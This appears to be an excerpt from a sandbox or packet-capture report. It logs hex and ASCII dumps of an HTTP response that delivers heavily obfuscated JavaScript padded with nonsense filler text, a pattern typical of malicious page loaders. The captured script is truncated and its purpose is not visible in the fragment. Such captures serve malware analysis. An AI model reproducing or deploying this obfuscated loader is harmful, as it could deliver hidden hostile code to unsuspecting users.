cfL4;desc="?proto=TCP&rtt=104311&min_rtt=103962&rtt_var=22277&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2841&recv_bytes=2494&delivery_rate=35823&cwnd=218&unsent_bytes=0&cid=1d26a66716003a32&ts=732&x=0"
2025-03-24 15:35:16 UTC	435	IN	Data Raw: 33 30 38 36 0d 0a 3c 21 2d 2d 20 3c 73 70 61 6e 3e 45 73 73 65 20 6d 6f 6c 6c 69 74 20 71 75 69 20 73 68 61 6e 6b 6c 65 2c 20 64 75 69 73 20 6e 6f 73 74 72 75 64 20 61 6c 69 71 75 69 70 20 61 75 74 65 20 65 73 74 20 68 61 6d 20 68 6f 63 6b 20 6c 65 62 65 72 6b 61 73 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 6c 65 74 20 72 68 31 33 7a 38 6a 65 6d 74 20 3d 20 27 27 3b 2f 2f 20 45 73 74 20 71 75 69 20 75 74 20 65 73 73 65 20 63 75 70 69 6d 20 62 61 63 6f 6e 20 62 65 65 66 20 72 69 62 73 2e 0a 66 75 6e 63 74 69 6f 6e 20 53 6e 6a 39 52 65 6c 28 29 7b 7d 76 61 72 20 41 65 59 70 51 6c 3d 4f 62 6a 65 63 74 5b 27 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 27 5d 2c 72 71 62 39 57 75 61 2c 73 6d 65 50 61 56 31 2c 54 49 7a 55 67 74 2c 5a 62 73 Data Ascii: 3086... <span>Esse mollit qui shankle, duis nostrud aliquip aute est ham hock leberkas.</span> --><script>let rh13z8jemt = '';// Est qui ut esse cupim bacon beef ribs.function Snj9Rel(){}var AeYpQl=Object['defineProperty'],rqb9Wua,smePaV1,TIzUgt,Zbs
2025-03-24 15:35:16 UTC	1369	IN	Data Raw: 3f 53 6e 6a 39 52 65 6c 2b 30 78 34 33 3a 53 6e 6a 39 52 65 6c 2d 30 78 34 32 5d 7d 72 71 62 39 57 75 61 3d 79 4b 4c 55 31 30 28 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 72 72 57 6f 6e 52 28 53 6e 6a 39 52 65 6c 2c 41 65 59 70 51 6c 29 7b 73 6d 65 50 61 56 31 28 53 6e 6a 39 52 65 6c 2c 27 6c 65 6e 67 74 68 27 2c 7b 76 61 6c 75 65 3a 41 65 59 70 51 6c 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 78 30 7d 29 3b 72 65 74 75 72 6e 20 53 6e 6a 39 52 65 6c 7d 73 6d 65 50 61 56 31 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 56 73 53 6e 68 74 3d 5b 5d 2c 4a 6b 72 76 62 6b 4c 3d 62 6b 68 73 6d 4e 28 28 53 6e 6a 39 52 65 6c 2c 41 65 59 70 51 6c 3d 30 78 31 30 2c 72 71 62 39 57 75 61 2c 73 6d 65 50 61 56 31 3d 30 78 33 61 29 3d 3e Data Ascii: ?Snj9Rel+0x43:Snj9Rel-0x42]}rqb9Wua=yKLU10();function zrrWonR(Snj9Rel,AeYpQl){smePaV1(Snj9Rel,'length',{value:AeYpQl,configurable:!0x0});return Snj9Rel}smePaV1=Object.defineProperty;var VsSnht=[],JkrvbkL=bkhsmN((Snj9Rel,AeYpQl=0x10,rqb9Wua,smePaV1=0x3a)=>
2025-03-24 15:35:16 UTC	1369	IN	Data Raw: 3c 49 2b 2a 35 43 3e 6a 3d 43 3f 39 7e 6c 4b 64 2b 4b 6f 28 51 2b 6e 30 31 64 4a 4c 49 6a 66 67 7b 72 3c 46 24 54 67 6b 27 2c 27 3e 7e 7e 78 50 5a 46 60 4e 61 24 46 2a 5e 52 38 50 61 66 3e 5f 70 2f 6e 35 61 4d 41 59 78 27 2c 27 60 4c 3a 3c 67 53 6f 3f 44 6c 39 5b 59 78 38 2a 21 76 5a 21 3b 3e 54 3c 3f 2a 21 5a 63 71 61 3a 3d 28 60 27 2c 27 43 58 65 5f 53 7e 6a 6f 2b 54 7b 4a 71 45 45 27 2c 27 28 3a 52 5e 58 3c 30 27 2c 27 5f 78 3f 44 24 5a 5e 6e 5f 57 57 48 58 4e 23 25 61 21 51 66 2f 75 7d 67 70 5f 24 6a 49 45 24 52 2a 35 3d 7c 62 48 58 70 66 4f 58 27 2c 27 31 3a 22 32 71 70 66 6b 7a 57 2a 4b 54 75 38 70 27 2c 27 70 6a 7d 44 7e 68 4c 54 51 7e 78 6a 4c 63 3e 3d 6d 2a 2e 68 73 73 62 3f 2c 48 41 46 59 71 2f 65 5d 61 70 6f 27 2c 27 3a 6a 74 7b 40 33 2e 44 7d Data Ascii: <I+5C>j=C?9~lKd+Ko(Q+n01dJLIjfg{r<F$Tgk','>~~xPZF`Na$F^R8Paf>_p/n5aMAYx','`L:<gSo?Dl9[Yx8!vZ!;>T<?!Zcqa:=(`','CXe_S~jo+T{JqEE','(:R^X<0','_x?D$Z^n_WWHXN#%a!Qf/u}gp_$jIE$R5=\|bHXpfOX','1:"2qpfkzWKTu8p','pj}D~hLTQ~xjLc>=m*.hssb?,HAFYq/e]apo',':jt{@3.D}
2025-03-24 15:35:16 UTC	1369	IN	Data Raw: 42 70 70 24 4f 48 6b 4b 52 57 30 70 6e 52 7b 3c 29 70 69 70 2a 4c 2b 4f 42 61 67 2a 4b 39 3f 4b 36 5d 2c 28 2e 7d 68 2b 6b 27 2c 27 49 21 5e 63 52 7b 39 60 27 2c 27 43 44 56 67 77 72 71 70 7d 35 52 2a 6b 27 2c 27 5f 5d 3f 4b 3b 3d 2c 76 74 39 72 5b 22 53 56 21 4c 7e 56 67 78 49 2b 6e 78 34 7e 57 23 3d 30 36 5a 30 27 2c 27 76 7e 69 44 68 70 4f 3f 51 2a 25 57 43 42 4e 75 5e 39 28 3c 6a 66 3b 2c 77 7d 42 50 38 40 6e 25 67 6b 27 2c 27 70 3a 5d 28 42 46 46 60 58 35 38 3e 6f 65 79 43 6a 7b 73 66 64 33 60 7d 76 2a 53 66 62 4a 31 36 3e 4d 3b 38 4c 6e 62 6b 61 4f 59 2a 24 4e 27 2c 27 57 53 21 7c 56 63 36 3c 72 24 59 23 64 60 4c 22 47 21 4e 27 2c 27 32 6a 47 7b 3b 5a 74 3f 75 34 53 55 7e 3d 51 3f 32 44 76 44 61 6a 6a 6f 33 45 2f 57 63 5e 74 65 64 4d 4c 6a 7d 74 2a Data Ascii: Bpp$OHkKRW0pnR{<)pipL+OBagK9?K6],(.}h+k','I!^cR{9`','CDVgwrqp}5Rk','_]?K;=,vt9r["SV!L~VgxI+nx4~W#=06Z0','v~iDhpO?Q%WCBNu^9(<jf;,w}BP8@n%gk','p:](BFF`X58>oeyCj{sfd3`}vSfbJ16>M;8LnbkaOY$N','WS!\|Vc6<r$Y#d`L"G!N','2jG{;Zt?u4SU~=Q?2DvDajjo3E/Wc^tedMLj}t*
2025-03-24 15:35:16 UTC	1369	IN	Data Raw: 43 7d 4d 2b 64 51 5d 67 23 52 21 5f 47 3c 55 76 71 4c 71 75 58 53 4d 75 3c 50 38 66 39 6a 5f 6f 57 54 61 78 42 49 2b 52 4c 4e 36 5e 24 70 36 6e 31 2a 24 4b 47 4a 44 54 3c 46 45 3e 48 6e 79 48 49 45 63 2b 55 33 7e 70 68 44 76 7b 71 3e 28 4b 42 34 79 24 48 4a 7b 3f 7c 4d 41 6f 41 5a 6a 7a 4a 4d 3e 58 53 29 26 46 5f 35 4c 58 3e 72 3f 6b 4c 45 4d 69 75 71 5f 4a 3f 50 74 3c 4a 7c 4d 6a 32 4f 2f 23 2a 61 5a 22 5e 44 65 78 4f 5e 6d 6e 45 45 66 63 3e 31 44 3d 65 7b 21 7c 73 5a 71 70 36 4d 4a 5e 23 4e 3f 21 30 7b 28 6c 21 40 40 76 59 7e 4b 69 57 42 4e 75 37 39 4d 44 7c 70 51 6b 66 39 3d 4c 55 33 4c 22 2a 6e 7b 3e 7e 65 2f 54 59 69 31 7a 30 4e 6b 36 4b 21 4e 58 61 6a 28 5d 2e 34 38 46 3f 49 39 46 46 49 6f 5f 36 62 40 34 55 61 70 5a 45 31 7e 36 30 41 74 3c 4a 7c 5f Data Ascii: C}M+dQ]g#R!_G<UvqLquXSMu<P8f9j_oWTaxBI+RLN6^$p6n1$KGJDT<FE>HnyHIEc+U3~phDv{q>(KB4y$HJ{?\|MAoAZjzJM>XS)&F_5LX>r?kLEMiuq_J?Pt<J\|Mj2O/#aZ"^DexO^mnEEfc>1D=e{!\|sZqp6MJ^#N?!0{(l!@@vY~KiWBNu79MD\|pQkf9=LU3L"*n{>~e/TYi1z0Nk6K!NXaj(].48F?I9FFIo_6b@4UapZE1~60At<J\|_
2025-03-24 15:35:16 UTC	1369	IN	Data Raw: 4d 69 67 48 6a 6f 5a 47 35 43 6c 24 53 2b 52 67 64 24 28 28 40 68 25 73 76 29 6b 5e 45 61 3a 42 53 6a 69 4d 49 68 67 7d 54 59 5a 55 33 21 2a 66 4a 30 44 3c 5e 5f 4b 45 41 3d 49 42 71 7a 65 4a 7b 43 38 3d 39 6f 7a 39 50 33 58 78 65 4b 4a 22 2e 4f 3e 79 3e 4a 40 76 48 5d 4c 72 7a 36 3d 34 76 21 3e 47 59 4b 6a 49 24 7a 5e 55 33 2e 54 5b 58 65 7c 26 3d 6c 3c 6e 39 50 7a 34 57 38 70 43 5f 3a 7c 33 5a 53 3f 71 4c 57 5e 47 63 71 46 69 35 50 6c 70 40 44 3c 74 24 4e 6a 3f 71 7e 36 64 53 6a 69 4d 49 68 67 7d 54 59 5a 55 33 21 2a 64 21 4b 28 41 56 6d 25 58 24 69 49 36 7a 24 65 61 75 69 5f 2f 7b 40 2c 50 7b 4b 35 7c 49 28 5d 7e 21 23 3e 42 68 69 3c 24 2a 75 6f 48 62 75 75 26 49 36 4b 35 46 3f 2c 37 4d 36 23 37 70 77 43 7a 6e 3d 38 3b 2c 3e 54 78 7a 66 63 65 57 41 45 Data Ascii: MigHjoZG5Cl$S+Rgd$((@h%sv)k^Ea:BSjiMIhg}TYZU3!fJ0D<^_KEA=IBqzeJ{C8=9oz9P3XxeKJ".O>y>J@vH]Lrz6=4v!>GYKjI$z^U3.T[Xe\|&=l<n9Pz4W8pC_:\|3ZS?qLW^GcqFi5Plp@D<t$Nj?q~6dSjiMIhg}TYZU3!d!K(AVm%X$iI6z$eaui_/{@,P{K5\|I(]~!#>Bhi<$*uoHbuu&I6K5F?,7M6#7pwCzn=8;,>TxzfceWAE
2025-03-24 15:35:16 UTC	1369	IN	Data Raw: 7b 4a 45 72 65 3d 2e 7e 45 3e 38 25 6a 7a 74 4f 4b 55 6c 3d 33 38 61 53 22 67 45 73 7b 54 54 7b 49 2a 79 45 4f 3f 3f 25 68 6a 73 7e 4e 4f 53 50 7c 5b 25 4e 2b 46 6f 54 2f 6c 74 3e 6f 6b 28 7e 5b 4b 4c 3d 7e 36 59 50 6f 3e 6e 75 28 76 58 45 4c 2b 4a 78 3b 38 7b 59 67 3c 30 77 40 3f 71 24 29 41 3a 57 33 25 62 46 70 66 6f 23 7a 47 26 50 66 58 7d 73 3c 31 66 51 6d 58 74 3e 52 22 5f 7e 5a 2b 76 5a 53 3d 6a 75 55 28 46 7c 61 48 61 51 53 45 6b 61 4a 5d 38 61 49 7b 4a 51 76 5d 56 24 4b 28 4d 22 69 4a 70 7b 68 42 36 7b 59 6f 24 41 59 21 4c 75 76 38 4c 46 37 7b 3d 62 71 3c 7c 48 2a 5e 29 5a 6f 3d 65 4d 57 3c 7b 46 41 7a 32 39 3a 23 7e 75 69 52 55 5f 49 63 54 73 28 4b 42 34 60 40 66 49 6c 50 46 75 35 38 43 5a 41 28 58 5f 47 58 29 7a 2b 46 51 52 7c 4e 21 40 40 76 55 Data Ascii: {JEre=.~E>8%jztOKUl=38aS"gEs{TT{IyEO??%hjs~NOSP\|[%N+FoT/lt>ok(~[KL=~6YPo>nu(vXEL+Jx;8{Yg<0w@?q$)A:W3%bFpfo#zG&PfX}s<1fQmXt>R"_~Z+vZS=juU(F\|aHaQSEkaJ]8aI{JQv]V$K(M"iJp{hB6{Yo$AY!Luv8LF7{=bq<\|H^)Zo=eMW<{FAz29:#~uiRU_IcTs(KB4`@fIlPFu58CZA(X_GX)z+FQR\|N!@@vU
2025-03-24 15:35:16 UTC	1369	IN	Data Raw: 31 58 7a 68 61 67 44 27 2c 27 71 76 6a 58 51 66 22 60 27 2c 27 79 36 5e 5f 67 53 33 2b 44 27 2c 27 66 51 50 66 66 47 7d 77 75 34 27 2c 27 66 51 50 66 66 47 38 60 27 2c 27 59 44 32 21 33 5a 72 60 27 2c 27 58 6a 6a 58 56 2c 30 27 2c 27 40 6a 5e 5f 65 2c 30 27 2c 27 70 6a 3c 66 64 2b 30 27 2c 27 3a 53 5d 58 7c 49 5a 7a 7b 34 76 27 2c 27 26 57 6e 21 3f 2b 6d 2b 2f 7e 4f 6f 49 31 2a 65 3a 6b 27 2c 27 4d 4e 50 66 38 53 29 24 24 4d 2c 29 6b 27 2c 27 51 7e 6a 69 4b 49 5a 7a 7b 34 76 27 2c 27 67 45 41 6c 6f 68 49 67 7b 7d 53 7c 6b 27 2c 27 66 46 3d 21 25 2b 2f 3c 43 7d 61 4c 45 72 57 27 2c 27 67 45 55 58 6a 66 7e 67 6c 50 44 40 5a 78 27 2c 27 66 46 3d 21 25 2b 46 2b 64 4d 2b 29 3f 71 6c 3d 27 2c 27 67 45 55 58 32 3e 49 67 61 7e 6d 6e 46 62 24 27 2c 27 70 78 3b 6f Data Ascii: 1XzhagD','qvjXQf"`','y6^_gS3+D','fQPffG}wu4','fQPffG8`','YD2!3Zr`','XjjXV,0','@j^_e,0','pj<fd+0',':S]X\|IZz{4v','&Wn!?+m+/~OoI1*e:k','MNPf8S)$$M,)k','Q~jiKIZz{4v','gEAlohIg{}S\|k','fF=!%+/<C}aLErW','gEUXjf~glPD@Zx','fF=!%+F+dM+)?ql=','gEUX2>Iga~mnFb$','px;o
2025-03-24 15:35:16 UTC	1369	IN	Data Raw: 65 59 70 51 6c 5b 30 78 66 36 5d 2c 41 65 59 70 51 6c 5b 59 4a 6a 75 41 70 5f 28 30 78 36 34 29 5d 29 7d 69 66 28 41 65 59 70 51 6c 5b 30 78 66 36 5d 3d 3d 3d 54 49 7a 55 67 74 29 7b 62 4f 56 59 4e 74 3d 41 65 59 70 51 6c 5b 30 78 31 5d 3b 72 65 74 75 72 6e 20 62 4f 56 59 4e 74 28 41 65 59 70 51 6c 5b 30 78 32 5d 29 7d 69 66 28 41 65 59 70 51 6c 5b 30 78 38 66 5d 21 3d 3d 41 65 59 70 51 6c 5b 46 31 63 52 67 56 61 28 2d 30 78 33 66 29 5d 29 7b 76 61 72 20 64 53 51 48 37 5f 55 3d 62 6b 68 73 6d 4e 28 41 65 59 70 51 6c 3d 3e 7b 72 65 74 75 72 6e 20 72 71 62 39 57 75 61 5b 41 65 59 70 51 6c 3e 30 78 37 38 3f 41 65 59 70 51 6c 2d 30 78 34 65 3a 41 65 59 70 51 6c 3e 30 78 33 66 3f 41 65 59 70 51 6c 2d 30 78 34 30 3a 41 65 59 70 51 6c 2d 30 78 36 31 5d 7d 2c 30 Data Ascii: eYpQl[0xf6],AeYpQl[YJjuAp_(0x64)])}if(AeYpQl[0xf6]===TIzUgt){bOVYNt=AeYpQl[0x1];return bOVYNt(AeYpQl[0x2])}if(AeYpQl[0x8f]!==AeYpQl[F1cRgVa(-0x3f)]){var dSQH7_U=bkhsmN(AeYpQl=>{return rqb9Wua[AeYpQl>0x78?AeYpQl-0x4e:AeYpQl>0x3f?AeYpQl-0x40:AeYpQl-0x61]},0